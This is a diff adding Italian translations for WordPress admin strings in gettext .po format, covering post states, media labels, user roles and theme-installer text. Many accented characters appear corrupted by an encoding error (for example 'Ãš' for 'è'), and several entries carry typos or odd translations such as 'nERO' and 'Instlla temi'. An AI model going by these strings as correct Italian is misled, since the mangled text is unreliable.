+msgstr[0] "Pubblicato <span class=\"count\">(%s)</span>"
+msgstr[1] "Pubblicati <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:794
+msgctxt "post"
+msgid "Scheduled"
+msgstr "Programmato"
+
+#: wp-admin/includes/post.php:794
+msgid "Scheduled posts"
+msgstr "Articoli programmati"
+
+#: wp-admin/includes/post.php:794
+#, php-format
+msgid "Scheduled <span class=\"count\">(%s)</span>"
+msgid_plural "Scheduled <span class=\"count\">(%s)</span>"
+msgstr[0] "Programmata <span class=\"count\">(%s)</span>"
+msgstr[1] "Programmate <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:795
+msgctxt "post"
+msgid "Pending Review"
+msgstr "In attesa di revisione"
+
+#: wp-admin/includes/post.php:795
+msgid "Pending posts"
+msgstr "Articoli in attesa"
+
+#: wp-admin/includes/post.php:795
+#, php-format
+msgid "Pending Review <span class=\"count\">(%s)</span>"
+msgid_plural "Pending Review <span class=\"count\">(%s)</span>"
+msgstr[0] "In attesa di revisione <span class=\"count\">(%s)</span>"
+msgstr[1] "In attesa di revisione <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:796
+msgctxt "post"
+msgid "Draft"
+msgstr "Bozza"
+
+#: wp-admin/includes/post.php:796
+#, php-format
+msgid "Draft <span class=\"count\">(%s)</span>"
+msgid_plural "Drafts <span class=\"count\">(%s)</span>"
+msgstr[0] "Bozza <span class=\"count\">(%s)</span>"
+msgstr[1] "Bozze <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:797
+msgctxt "post"
+msgid "Private"
+msgstr "Privato"
+
+#: wp-admin/includes/post.php:797
+msgid "Private posts"
+msgstr "Articoli privati"
+
+#: wp-admin/includes/post.php:797
+#, php-format
+msgid "Private <span class=\"count\">(%s)</span>"
+msgid_plural "Private <span class=\"count\">(%s)</span>"
+msgstr[0] "Privato <span class=\"count\">(%s)</span>"
+msgstr[1] "Privati <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:867
+#: wp-admin/upload.php:123
+msgid "Images"
+msgstr "Immagini"
+
+#: wp-admin/includes/post.php:867
+#: wp-admin/upload.php:123
+msgid "Manage Images"
+msgstr "Gestione immagini"
+
+#: wp-admin/includes/post.php:867
+#, php-format
+msgid "Image <span class=\"count\">(%s)</span>"
+msgid_plural "Images <span class=\"count\">(%s)</span>"
+msgstr[0] "Immagine <span class=\"count\">(%s)</span>"
+msgstr[1] "Immagini <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:868
+#: wp-admin/upload.php:124
+msgid "Audio"
+msgstr "Audio"
+
+#: wp-admin/includes/post.php:868
+#: wp-admin/upload.php:124
+msgid "Manage Audio"
+msgstr "Gestione audio"
+
+#: wp-admin/includes/post.php:868
+#, php-format
+msgid "Audio <span class=\"count\">(%s)</span>"
+msgid_plural "Audio <span class=\"count\">(%s)</span>"
+msgstr[0] "Audio <span class=\"count\">(%s)</span>"
+msgstr[1] "Audio <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:869
+#: wp-admin/upload.php:125
+msgid "Video"
+msgstr "Video"
+
+#: wp-admin/includes/post.php:869
+#: wp-admin/upload.php:125
+msgid "Manage Video"
+msgstr "Gestione video"
+
+#: wp-admin/includes/post.php:869
+#, php-format
+msgid "Video <span class=\"count\">(%s)</span>"
+msgid_plural "Video <span class=\"count\">(%s)</span>"
+msgstr[0] "Video <span class=\"count\">(%s)</span>"
+msgstr[1] "Video <span class=\"count\">(%s)</span>"
+
+#: wp-admin/includes/post.php:976
+#: wp-content/plugins/akismet/akismet.php:811
+msgid "View Post"
+msgstr "Visualizza articolo"
+
+#: wp-admin/includes/post.php:976
+msgid "View Page"
+msgstr "Visualizza pagina"
+
+#: wp-admin/includes/post.php:979
+#: wp-admin/includes/post.php:1006
+msgid "Permalink:"
+msgstr "Permalink:"
+
+#: wp-admin/includes/post.php:981
+msgid "Change Permalinks"
+msgstr "Modifica permalink"
+
+#: wp-admin/includes/post.php:988
+msgid "Click to edit this part of the permalink"
+msgstr "Fare click per modificare questa parte del permalink"
+
+#: wp-admin/includes/post.php:1109
+msgid "Preview not available. Please save as a draft first."
+msgstr "Anteprima non disponibile. Salvare prima come bozza."
+
+#: wp-admin/includes/schema.php:193
+msgid "My Blog"
+msgstr "Il mio blog"
+
+#: wp-admin/includes/schema.php:194
+msgid "Just another WordPress weblog"
+msgstr "Solo un altro blog targato WordPress"
+
+#. translators: default date format, see http://php.net/date
+#: wp-admin/includes/schema.php:216
+#: wp-admin/options-general.php:201
+msgid "F j, Y"
+msgstr "j F Y"
+
+#. translators: default time format, see http://php.net/date
+#: wp-admin/includes/schema.php:218
+#: wp-admin/options-general.php:234
+msgid "g:i a"
+msgstr "H:i"
+
+#. translators: links last updated date format, see http://php.net/date
+#: wp-admin/includes/schema.php:220
+msgid "F j, Y g:i a"
+msgstr "j F Y H:i"
+
+#. translators: user role
+#: wp-admin/includes/schema.php:372
+msgctxt "User role"
+msgid "Administrator"
+msgstr "Amministratore"
+
+#. translators: user role
+#: wp-admin/includes/schema.php:374
+msgctxt "User role"
+msgid "Editor"
+msgstr "Editore"
+
+#. translators: user role
+#: wp-admin/includes/schema.php:376
+msgctxt "User role"
+msgid "Author"
+msgstr "Autore"
+
+#. translators: user role
+#: wp-admin/includes/schema.php:378
+msgctxt "User role"
+msgid "Contributor"
+msgstr "Collaboratore"
+
+#. translators: user role
+#: wp-admin/includes/schema.php:380
+msgctxt "User role"
+msgid "Subscriber"
+msgstr "Sottoscrittore"
+
+#: wp-admin/includes/template.php:131
+#: wp-admin/includes/template.php:302
+#: wp-admin/includes/template.php:665
+#: wp-admin/includes/template.php:1449
+#: wp-admin/includes/template.php:1664
+#: wp-admin/includes/template.php:2156
+msgid "Quick&nbsp;Edit"
+msgstr "Modifica&nbsp;veloce"
+
+#: wp-admin/includes/template.php:229
+#: wp-admin/includes/template.php:1025
+#: wp-admin/includes/template.php:2156
+msgid "Quick Edit"
+msgstr "Modifica veloce"
+
+#: wp-admin/includes/template.php:237
+#: wp-admin/includes/template.php:870
+#: wp-admin/includes/template.php:880
+#: wp-admin/includes/template.php:890
+#: wp-admin/includes/template.php:1046
+msgid "Slug"
+msgstr "Abbreviazione"
+
+#. translators: manage posts column name
+#: wp-admin/includes/template.php:752
+msgctxt "column name"
+msgid "Post"
+msgstr "Articolo"
+
+#: wp-admin/includes/template.php:758
+#: wp-admin/includes/template.php:808
+#: wp-admin/includes/template.php:1050
+msgid "Date"
+msgstr "Data"
+
+#. translators: column name
+#: wp-admin/includes/template.php:777
+msgctxt "column name"
+msgid "File"
+msgstr "File"
+
+#. translators: column name
+#: wp-admin/includes/template.php:781
+msgctxt "column name"
+msgid "Attached to"
+msgstr "Collegato a"
+
+#. translators: column name
+#: wp-admin/includes/template.php:785
+msgctxt "column name"
+msgid "Date"
+msgstr "Data"
+
+#: wp-admin/includes/template.php:846
+msgid "In Response To"
+msgstr "In risposta a"
+
+#: wp-admin/includes/template.php:856
+msgid "Relationship"
+msgstr "Relazioni"
+
+#: wp-admin/includes/template.php:857
+msgid "Visible"
+msgstr "Visibile"
+
+#: wp-admin/includes/template.php:881
+#: wp-admin/menu.php:53
+#: wp-includes/default-widgets.php:95
+msgid "Links"
+msgstr "Link"
+
+#: wp-admin/includes/template.php:901
+#: wp-admin/user-new.php:135
+msgid "Role"
+msgstr "Ruolo"
+
+#: wp-admin/includes/template.php:1025
+msgid "Bulk Edit Pages"
+msgstr "Modifica di massa delle pagine"
+
+#: wp-admin/includes/template.php:1025
+msgid "Bulk Edit Posts"
+msgstr "Modifica di massa degli articoli"
+
+#: wp-admin/includes/template.php:1063
+#: wp-admin/includes/template.php:1127
+#: wp-admin/includes/template.php:1146
+#: wp-admin/includes/template.php:1168
+#: wp-admin/includes/template.php:1177
+#: wp-admin/includes/template.php:1206
+#: wp-admin/includes/template.php:1227
+msgid "- No Change -"
+msgstr "- Nessuna modifica -"
+
+#. translators: Between password field and private checkbox on post quick edit interface
+#: wp-admin/includes/template.php:1086
+msgid "&ndash;OR&ndash;"
+msgstr "&ndash;O&ndash;"
+
+#: wp-admin/includes/template.php:1091
+msgid "Private page"
+msgstr "Pagina privata"
+
+#: wp-admin/includes/template.php:1091
+msgid "Private post"
+msgstr "Articolo privato"
+
+#: wp-admin/includes/template.php:1103
+msgid "[more]"
+msgstr "[di piÃ¹]"
+
+#: wp-admin/includes/template.php:1104
+msgid "[less]"
+msgstr "[di meno]"
+
+#: wp-admin/includes/template.php:1169
+#: wp-admin/includes/template.php:1178
+msgid "Allow"
+msgstr "Consenti"
+
+#: wp-admin/includes/template.php:1170
+#: wp-admin/includes/template.php:1179
+msgid "Do not allow"
+msgstr "Non consentire"
+
+#: wp-admin/includes/template.php:1225
+#: wp-admin/includes/template.php:1228
+#: wp-admin/includes/template.php:3395
+msgid "Sticky"
+msgstr "Evidenziato"
+
+#: wp-admin/includes/template.php:1229
+msgid "Not Sticky"
+msgstr "Non evidenziato"
+
+#: wp-admin/includes/template.php:1237
+msgid "Make this post sticky"
+msgstr "Mantenere questo articolo in evidenza"
+
+#: wp-admin/includes/template.php:1261
+#: wp-admin/includes/template.php:2446
+#: wp-includes/js/tinymce/langs/wp-langs.php:29
+msgid "Update"
+msgstr "Aggiorna"
+
+#: wp-admin/includes/template.php:1264
+msgid "Update Pages"
+msgstr "Aggiorna pagine"
+
+#: wp-admin/includes/template.php:1264
+msgid "Update Posts"
+msgstr "Aggiorna articoli"
+
+#: wp-admin/includes/template.php:1429
+#: wp-admin/includes/template.php:1647
+msgid "Missed schedule"
+msgstr "Programmazione mancante"
+
+#: wp-admin/includes/template.php:1433
+#: wp-admin/includes/template.php:1651
+msgid "Last Modified"
+msgstr "Ultima modifica"
+
+#: wp-admin/includes/template.php:1448
+msgid "Edit this post"
+msgstr "Modificare questo articolo"
+
+#: wp-admin/includes/template.php:1449
+msgid "Edit this post inline"
+msgstr "Modificare questo articolo in linea"
+
+#: wp-admin/includes/template.php:1452
+msgid "Delete this post"
+msgstr "Cancellare questo articolo"
+
+#: wp-admin/includes/template.php:1452
+#: wp-admin/includes/template.php:1667
+#, php-format
+msgid ""
+"You are about to delete this draft '%s'\n"
+" 'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questa bozza '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/includes/template.php:1452
+#, php-format
+msgid ""
+"You are about to delete this post '%s'\n"
+" 'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questo articolo '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/includes/template.php:1487
+#: wp-admin/includes/upgrade.php:99
+#: wp-includes/category-template.php:180
+msgid "Uncategorized"
+msgstr "Senza categoria"
+
+#: wp-admin/includes/template.php:1659
+msgid "Parent Page: "
+msgstr "Pagina madre:"
+
+#: wp-admin/includes/template.php:1663
+msgid "Edit this page"
+msgstr "Modificare questa pagina"
+
+#: wp-admin/includes/template.php:1667
+msgid "Delete this page"
+msgstr "Cancellare questa pagina"
+
+#: wp-admin/includes/template.php:1667
+#, php-format
+msgid ""
+"You are about to delete this page '%s'\n"
+" 'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Si sta per cancellare questa pagina '%s'\n"
+" 'Annulla' per interrompere, 'OK' per cancellare."
+
+#: wp-admin/includes/template.php:1956
+#, php-format
+msgid "e-mail: %s"
+msgstr "e-mail: %s"
+
+#: wp-admin/includes/template.php:1965
+msgid "View posts by this author"
+msgstr "Visualizza gli articoli di questo autore"
+
+#: wp-admin/includes/template.php:2098
+msgid "Y/m/d \\a\\t g:i A"
+msgstr "d/m/Y \\a\\t  G:i:s"
+
+#: wp-admin/includes/template.php:2127
+#, php-format
+msgid "Submitted on <a href=\"%1$s\">%2$s at %3$s</a>"
+msgstr "Inviato il <a href=\"%1$s\">%2$s alle %3$s</a>"
+
+#: wp-admin/includes/template.php:2127
+msgid "g:ia"
+msgstr "G:i:s"
+
+#: wp-admin/includes/template.php:2200
+msgid "Y/m/d \\a\\t g:ia"
+msgstr "d/m/Y \\a\\t  G:i:s"
+
+#: wp-admin/includes/template.php:2274
+msgid "Reply to Comment"
+msgstr "Replica al commento"
+
+#: wp-admin/includes/template.php:2300
+msgid "Submit Reply"
+msgstr "Invia replica"
+
+#: wp-admin/includes/template.php:2373
+#: wp-admin/includes/template.php:2388
+#: wp-admin/includes/template.php:2450
+#: wp-admin/includes/template.php:2477
+msgid "Value"
+msgstr "Valore"
+
+#: wp-admin/includes/template.php:2442
+msgid "Key"
+msgstr "Chiave"
+
+#: wp-admin/includes/template.php:2472
+msgid "Add new custom field:"
+msgstr "Aggiungi nuovo campo personalizzato;"
+
+#: wp-admin/includes/template.php:2497
+msgid "Enter new"
+msgstr "Aggiungere nuovo"
+
+#: wp-admin/includes/template.php:2507
+msgid "Add Custom Field"
+msgstr "Aggiungi campo personalizzato"
+
+#. translators: 1: month input, 2: day input, 3: year input, 4: hour input, 5: minute input
+#: wp-admin/includes/template.php:2567
+#, php-format
+msgid "%1$s%2$s, %3$s @ %4$s : %5$s"
+msgstr "%1$s%2$s, %3$s @ %4$s : %5$s"
+
+#: wp-admin/includes/template.php:2649
+msgid "WordPress recommends a better browser"
+msgstr "WordPress consiglia il browser Open Source Firefox"
+
+#: wp-admin/includes/template.php:2684
+msgid "Thumbnail linked to file"
+msgstr "Miniatura collegata al file"
+
+#: wp-admin/includes/template.php:2684
+msgid "Image linked to file"
+msgstr "Immagine collegata al file"
+
+#: wp-admin/includes/template.php:2688
+msgid "Thumbnail linked to page"
+msgstr "Miniatura collegata alla pagina"
+
+#: wp-admin/includes/template.php:2688
+msgid "Image linked to page"
+msgstr "Immagine collegata alla pagina"
+
+#: wp-admin/includes/template.php:2693
+msgid "Link to file"
+msgstr "Link al file"
+
+#: wp-admin/includes/template.php:2697
+msgid "Link to page"
+msgstr "Link alla pagina"
+
+#: wp-admin/includes/template.php:2796
+msgid "Before you can upload your import file, you will need to fix the following error:"
+msgstr "Prima di poter caricare il file di importazione, occorre risolvere il seguente errore:"
+
+#: wp-admin/includes/template.php:2803
+msgid "Choose a file from your computer:"
+msgstr "Selezionare un file sul proprio computer:"
+
+#: wp-admin/includes/template.php:2803
+#, php-format
+msgid "Maximum size: %s"
+msgstr "Dimensione massima: %s"
+
+#: wp-admin/includes/template.php:2809
+msgid "Upload file and import"
+msgstr "Carica il file ed importa"
+
+#: wp-admin/includes/template.php:2935
+msgid "Click to toggle"
+msgstr "Fare clic per cambiare."
+
+#: wp-admin/includes/template.php:3158
+msgid "Find Posts or Pages"
+msgstr "Cerca articoli o pagine"
+
+#: wp-admin/includes/template.php:3179
+#: wp-admin/includes/widgets.php:192
+#: wp-includes/js/tinymce/langs/wp-langs.php:31
+#: wp-includes/js/tinymce/wp-mce-help.php:258
+msgid "Close"
+msgstr "Chiudi"
+
+#: wp-admin/includes/template.php:3180
+#: wp-admin/plugin-editor.php:172
+#: wp-admin/theme-editor.php:135
+msgid "Select"
+msgstr "Seleziona"
+
+#: wp-admin/includes/template.php:3211
+#: wp-admin/includes/template.php:3254
+msgid "New Page"
+msgstr "Nuova pagina"
+
+#: wp-admin/includes/template.php:3217
+msgid "New Media"
+msgstr "Nuovo media"
+
+#: wp-admin/includes/template.php:3220
+#: wp-admin/media.php:45
+#: wp-admin/media.php:85
+msgid "Edit Media"
+msgstr "Modifica media"
+
+#: wp-admin/includes/template.php:3223
+msgid "New Link"
+msgstr "Nuovo link"
+
+#: wp-admin/includes/template.php:3226
+#: wp-admin/link-manager.php:43
+msgid "Edit Links"
+msgstr "Modifica link"
+
+#: wp-admin/includes/template.php:3229
+msgid "New User"
+msgstr "Nuovo utente"
+
+#: wp-admin/includes/template.php:3232
+msgid "Edit Users"
+msgstr "Modifica utenti"
+
+#: wp-admin/includes/template.php:3235
+#: wp-admin/plugin-install.php:17
+msgid "Install Plugins"
+msgstr "Installa plugin"
+
+#: wp-admin/includes/template.php:3238
+#: wp-admin/plugins.php:216
+msgid "Manage Plugins"
+msgstr "Gestione plugin"
+
+#: wp-admin/includes/template.php:3241
+#: wp-admin/theme-install.php:17
+#: wp-admin/update.php:149
+msgid "Install Themes"
+msgstr "Instlla temi"
+
+#: wp-admin/includes/template.php:3244
+#: wp-admin/themes.php:28
+msgid "Manage Themes"
+msgstr "Gestione temi"
+
+#: wp-admin/includes/template.php:3247
+#: wp-admin/includes/template.php:3252
+msgid "New Post"
+msgstr "Nuovo articolo"
+
+#: wp-admin/includes/template.php:3253
+msgid "Drafts"
+msgstr "Bozze"
+
+#: wp-admin/includes/template.php:3305
+#: wp-includes/script-loader.php:360
+msgid "(no title)"
+msgstr "(senza titolo)"
+
+#. translators: post state
+#: wp-admin/includes/template.php:3393
+msgctxt "post state"
+msgid "Pending"
+msgstr "In sospeso"
+
+#: wp-admin/includes/template.php:3444
+msgid "<a href=\"http://codex.wordpress.org/Writing_Posts\" target=\"_blank\">Writing Posts</a>"
+msgstr "<a href=\"http://codex.wordpress.org/Writing_Posts\" target=\"_blank\">Scrivere articoli</a>"
+
+#: wp-admin/includes/template.php:3456
+msgid "The modules on this screen can be arranged in several columns. You can select the number of columns from the Screen Options tab."
+msgstr "Gli moduli di questa schermata possono venir disposti su diverse colonne. &Egrave; possibile selezionare il numero di colonne dalla linguetta Opzioni schermo."
+
+#: wp-admin/includes/template.php:3469
+msgid "<a href=\"http://codex.wordpress.org/Settings_General_SubPanel\" target=\"_blank\">General Settings</a>"
+msgstr "<a href=\"http://codex.wordpress.org/Settings_General_SubPanel\" target=\"_blank\">Impostazioni generali</a>"
+
+#: wp-admin/includes/template.php:3483
+msgid "Enable accessibility mode"
+msgstr "Attiva modalitÃ  accessibile"
+
+#: wp-admin/includes/template.php:3483
+msgid "Disable accessibility mode"
+msgstr "Disattiva modalitÃ  accessibile"
+
+#: wp-admin/includes/template.php:3495
+msgid "Show on screen"
+msgstr "Mostra a video"
+
+#: wp-admin/includes/template.php:3524
+#, php-format
+msgid "Get help with &#8220;%s&#8221;"
+msgstr "Ottenere aiuto su &#8220;%s&#8221;"
+
+#: wp-admin/includes/template.php:3526
+msgid "Get help with this page"
+msgstr "Ottenere aiuto su questa pagina"
+
+#: wp-admin/includes/template.php:3529
+msgid "Other Help"
+msgstr "Altro aiuto"
+
+#: wp-admin/includes/template.php:3531
+#: wp-admin/includes/template.php:3546
+#: wp-includes/js/tinymce/langs/wp-langs.php:238
+#: wp-includes/js/tinymce/langs/wp-langs.php:252
+#: wp-includes/js/tinymce/langs/wp-langs.php:409
+#: wp-includes/js/tinymce/wp-mce-help.php:234
+msgid "Help"
+msgstr "Aiuto"
+
+#: wp-admin/includes/template.php:3535
+msgid "<a href=\"http://codex.wordpress.org/\" target=\"_blank\">Documentation</a>"
+msgstr "<a href=\"http://www.wordpress-it.it/wiki/\" target=\"_blank\">Documentazione in italiano</a> (<a href=\"http://codex.wordpress.org/\" target=\"_blank\">In inglese</a>)"
+
+#: wp-admin/includes/template.php:3537
+msgid "<a href=\"http://wordpress.org/support/\" target=\"_blank\">Support Forums</a>"
+msgstr "<a href=\"http://www.wordpress-it.it/forum/\">Forum di supporto in italiano</a> (<a href=\"http://wordpress.org/support/\">In inglese</a>)"
+
+#: wp-admin/includes/template.php:3550
+msgid "Screen Options"
+msgstr "Impostazioni schermo"
+
+#: wp-admin/includes/template.php:3577
+msgid "Most of the modules on this screen can be moved. If you hover your mouse over the title bar of a module you&rsquo;ll notice the 4 arrow cursor appears to let you know it is movable. Click on it, hold down the mouse button and start dragging the module to a new location. As you drag the module, notice the dotted gray box that also moves. This box indicates where the module will be placed when you release the mouse button."
+msgstr "La maggior parte dei moduli di questa schermata possono venir spostati. Se, con il mouse, si va sopra la barra del titolo di un modulo si noterÃ  che appare un cursore con quattro freccie a segnalare che il modulo Ãš spostabile. Facendo clic sulla barra del titolo e mantenendo premuto il pulsante del mouse sarÃ  possibile trascinare il modulo nella sua nuova posizione. Trascinando il modulo si noterÃ  che anche un riquadro grigio con bordo puntinato si muove assieme al modulo. Questo riquadro indica dove verrÃ  posizionato il modulo quando si rilascerÃ  il pulsante del mouse."
+
+#: wp-admin/includes/template.php:3578
+msgid "The same modules can be expanded and collapsed by clicking once on their title bar and also completely hidden from the Screen Options tab."
+msgstr "Gli stessi moduli possono venir espansi o collassati facendo un clic sulla loro barra del titolo, inoltre possono venire completamente nascosti la linguetta Impostazioni schermo."
+
+#: wp-admin/includes/template.php:3584
+msgid "Search help"
+msgstr "Cerca un aiuto"
+
+#: wp-admin/includes/template.php:3585
+msgid "You may search based on 3 criteria:"
+msgstr "&Egrave, effetuare ricerche in base a 3 criteri:"
+
+#: wp-admin/includes/template.php:3586
+msgid "<strong>Term:</strong> Searches theme names and descriptions for the specified term."
+msgstr "<strong>Termine:</strong> ricerca i nomi e le descrizioni dei temi per i termini specificati"
+
+#: wp-admin/includes/template.php:3587
+msgid "<strong>Tag:</strong> Searches for themes tagged as such."
+msgstr "<strong>Tag:</strong> ricerca i temi contrassegnati con questi tag"
+
+#: wp-admin/includes/template.php:3588
+msgid "<strong>Author:</strong> Searches for themes created by the Author, or which the Author contributed to."
+msgstr "<strong>Autore:</strong> ricerca i temi creati dall'autore o per i quali l'autore ha dato un contributo."
+
+#: wp-admin/includes/template.php:3594
+msgid "Widgets are added and arranged by simple drag &#8217;n&#8217; drop. If you hover your mouse over the titlebar of a widget, you&#8217;ll see a 4-arrow cursor which indicates that the widget is movable.  Click on the titlebar, hold down the mouse button and drag the widget to a sidebar. As you drag, you&#8217;ll see a dotted box that also moves. This box shows where the widget will go once you drop it."
+msgstr "I widget vengono aggiunti e ordinati semplicemente trascinandoli e rilasciandoli. Se, con il mouse, si va sopra la barra del titolo di un widget apparirÃ  un cursore con quattro freccie ad indicare che il widget Ãš spostabile. Fare clic sulla barra del titolo e tenere premuto il pulsante del mouse e trascinarlo su una barra laterale (sidebar). Durante il trascinamento si noterÃ  che si muove anche anche un riquadro con bordo puntinato. Questo riquadro indica dove verrÃ  posizionato il widget quando si rilascerÃ  il pulsante del mouse."
+
+#: wp-admin/includes/template.php:3595
+msgid "To remove a widget from a sidebar, drag it back to Available Widgets or click on the arrow on its titlebar to reveal its settings, and then click Remove."
+msgstr "Per rimuovere un widget dalla sidebar, trascinarlo nuovamente sui Widget disponibili o fare clic su sulla freccia nella sua barra del titolo per aprire le impostazioni, quindi fare clic su Rimuovi."
+
+#: wp-admin/includes/template.php:3596
+msgid "To remove a widget from a sidebar <em>and keep its configuration</em>, drag it to Inactive Widgets."
+msgstr "Per rimuovere un widget da una sidebar <em>e mantenere la sua configurazione</em>, trascinarlo fra i Widget inattivi."
+
+#: wp-admin/includes/template.php:3597
+msgid "The Inactive Widgets area stores widgets that are configured but not curently used. If you change themes and the new theme has fewer sidebars than the old, all extra widgets will be stored to Inactive Widgets automatically."
+msgstr "L'area dei Widget inattivi memorizza i widget che sono stati giÃ  configurati ma che non sono al momento in uso. Se si cambia tema ed il nuovo tema ha meno sidebar del vecchio tema, tutti i widget in eccesso verranno memorizzati automaticamente fra i Widget inattivi."
+
+#: wp-admin/includes/template.php:3619
+msgid "Screen Layout"
+msgstr "Aspetto schermo"
+
+#: wp-admin/includes/template.php:3619
+msgid "Number of Columns:"
+msgstr "Numero di colonne:"
+
+#: wp-admin/includes/template.php:3631
+msgid "Posts per page:"
+msgstr "Articoli per pagina:"
+
+#: wp-admin/includes/template.php:3634
+msgid "Pages per page:"
+msgstr "Pagine per pagina:"
+
+#: wp-admin/includes/template.php:3637
+msgid "Comments per page:"
+msgstr "Commenti per pagina:"
+
+#: wp-admin/includes/template.php:3640
+msgid "Media items per page:"
+msgstr "Elementi media per pagina:"
+
+#: wp-admin/includes/template.php:3643
+msgid "Categories per page:"
+msgstr "Categorie per pagina:"
+
+#: wp-admin/includes/template.php:3646
+msgid "Tags per page:"
+msgstr "Tag per pagina:"
+
+#: wp-admin/includes/template.php:3649
+msgid "Plugins per page:"
+msgstr "Plugin per pagina:"
+
+#: wp-admin/includes/theme-install.php:57
+msgid "An Unexpected HTTP Error occured during the API request.</p> <p><a href=\"?\" onclick=\"document.location.reload(); return false;\">Try again</a>"
+msgstr "Si Ãš verificato un errore HTTP inaspettato durante la richiesta API.</p> <p><a href=\"?\" onclick=\"document.location.reload(); return false;\">Riprovare</a>"
+
+#: wp-admin/includes/theme-install.php:61
+msgid "An unknown error occured"
+msgstr "Si Ãš verificato un errore sconosciuto"
+
+#: wp-admin/includes/theme-install.php:153
+msgid "Search for themes by keyword, author, or tag."
+msgstr "Ricerca temi per parole chiave, autore o tag."
+
+#: wp-admin/includes/theme-install.php:159
+msgctxt "Theme Installer"
+msgid "Tag"
+msgstr "Tag"
+
+#: wp-admin/includes/theme-install.php:176
+msgid "Feature Filter"
+msgstr "Filtro funzionalitÃ "
+
+#: wp-admin/includes/theme-install.php:178
+msgid "Find a theme based on specific features"
+msgstr "Trova un tema in base a delle funzionalitÃ  specifiche."
+
+#: wp-admin/includes/theme-install.php:182
+msgid "Colors"
+msgstr "colori"
+
+#: wp-admin/includes/theme-install.php:182
+msgid "Black"
+msgstr "nERO"
+
+#: wp-admin/includes/theme-install.php:182
+msgid "Brown"
+msgstr "Marrone"
+
+#: wp-admin/includes/theme-install.php:183
+msgid "Green"
+msgstr "Verde"
+
+#: wp-admin/includes/theme-install.php:183
+msgid "Orange"
+msgstr "Arancione"
+
+#: wp-admin/includes/theme-install.php:183
+msgid "Pink"
+msgstr "Rosa"
+
+#: wp-admin/includes/theme-install.php:183
+msgid "Purple"
+msgstr "Viola"
+
+#: wp-admin/includes/theme-install.php:183
+msgid "Red"
+msgstr "Rosso"
+
+#: wp-admin/includes/theme-install.php:184
+msgid "Silver"
+msgstr "Argento"
+
+#: wp-admin/includes/theme-install.php:184
+msgid "Tan"
+msgstr "Colorato"
+
+#: wp-admin/includes/theme-install.php:184
+msgid "White"
+msgstr "Bianco"
+
+#: wp-admin/includes/theme-install.php:184
+msgid "Yellow"
+msgstr "Giallo"
+
+#: wp-admin/includes/theme-install.php:184
+msgid "Dark"
+msgstr "Scuro"
+
+#: wp-admin/includes/theme-install.php:185
+msgid "Light"
+msgstr "Chiaro"
+
+#: wp-admin/includes/theme-install.php:185
+msgid "Columns"
+msgstr "Colonne"
+
+#: wp-admin/includes/theme-install.php:185
+msgid "One Column"
+msgstr "Una colonna"
+
+#: wp-admin/includes/theme-install.php:185
+msgid "Two Columns"
+msgstr "Due colonne"
+
+#: wp-admin/includes/theme-install.php:186
+msgid "Three Columns"
+msgstr "Tre colonne"
+
+#: wp-admin/includes/theme-install.php:186
+msgid "Four Columns"
+msgstr "Quattro colonne"
+
+#: wp-admin/includes/theme-install.php:186
+msgid "Left Sidebar"
+msgstr "Barra laterare sinistra"
+
+#: wp-admin/includes/theme-install.php:187
+msgid "Right Sidebar"
+msgstr "Barra laterale destra"
+
+#: wp-admin/includes/theme-install.php:187
+#: wp-admin/options-media.php:33
+#: wp-includes/js/tinymce/langs/wp-langs.php:434
+msgid "Width"
+msgstr "Larghezza"
+
+#: wp-admin/includes/theme-install.php:187
+msgid "Fixed Width"
+msgstr "Larghezza fissa"
+
+#: wp-admin/includes/theme-install.php:187
+msgid "Flexible Width"
+msgstr "Larghezza variabile"
+
+#: wp-admin/includes/theme-install.php:188
+msgid "Features"
+msgstr "FunzionalitÃ "
+
+#: wp-admin/includes/theme-install.php:188
+msgid "Custom Colors"
+msgstr "Colori personalizzati"
+
+#: wp-admin/includes/theme-install.php:188
+msgid "Theme Options"
+msgstr "Opzioni tema"
+
+#: wp-admin/includes/theme-install.php:189
+msgid "Threaded Comments"
+msgstr "Commenti nidificati"
+
+#: wp-admin/includes/theme-install.php:189
+msgid "Sticky Post"
+msgstr "Articolo evidenziato"
+
+#: wp-admin/includes/theme-install.php:189
+msgid "Microformats"
+msgstr "Microformati"
+
+#: wp-admin/includes/theme-install.php:190
+msgid "Subject"
+msgstr "Soggetto"
+
+#: wp-admin/includes/theme-install.php:190
+msgid "Holiday"
+msgstr "FestivitÃ "
+
+#: wp-admin/includes/theme-install.php:190
+msgid "Photoblogging"
+msgstr "Photoblog"
+
+#: wp-admin/includes/theme-install.php:190
+msgid "Seasonal"
+msgstr "Stagionali"
+
+#: wp-admin/includes/theme-install.php:221
+msgid "Find Themes"
+msgstr "Trova temi"
+
+#: wp-admin/includes/theme-install.php:278
+msgid "Install a theme in .zip format"
+msgstr "Instllare un tema in formato .zip"
+
+#: wp-admin/includes/theme-install.php:279
+msgid "If you have a theme in a .zip format, you may install it by uploading it here."
+msgstr "Se si dispone di un tema in formato .zip, Ãš possibile installarlo caricandolo da qui."
+
+#: wp-admin/includes/theme-install.php:304
+#, php-format
+msgid "Install &#8220;%s&#8221;"
+msgstr "Installa &#8220;%s&#8221;"
+
+#: wp-admin/includes/theme-install.php:320
+msgid "Details"
+msgstr "Dettagli"
+
+#: wp-admin/includes/theme-install.php:399
+msgid "No themes found"
+msgstr "Nessun tema trovato"
+
+#: wp-admin/includes/theme-install.php:463
+msgid "Theme Install"
+msgstr "Installa tema"
+
+#: wp-admin/includes/theme-install.php:466
+msgid "<strong>Error:</strong> This theme is currently not available. Please try again later."
+msgstr "<strong>ERRORE</strong>: questo tema non Ãš al momento disponibile. Riprovare piÃ¹ tardi."
+
+#: wp-admin/includes/theme-install.php:472
+msgid "<strong>Warning:</strong> This theme has <strong>not been tested</strong> with your current version of WordPress."
+msgstr "<strong>Attenzione:</strong> questo tema <strong>non Ãš stato provato</strong> con la versione corrente di WordPress."
+
+#: wp-admin/includes/theme-install.php:474
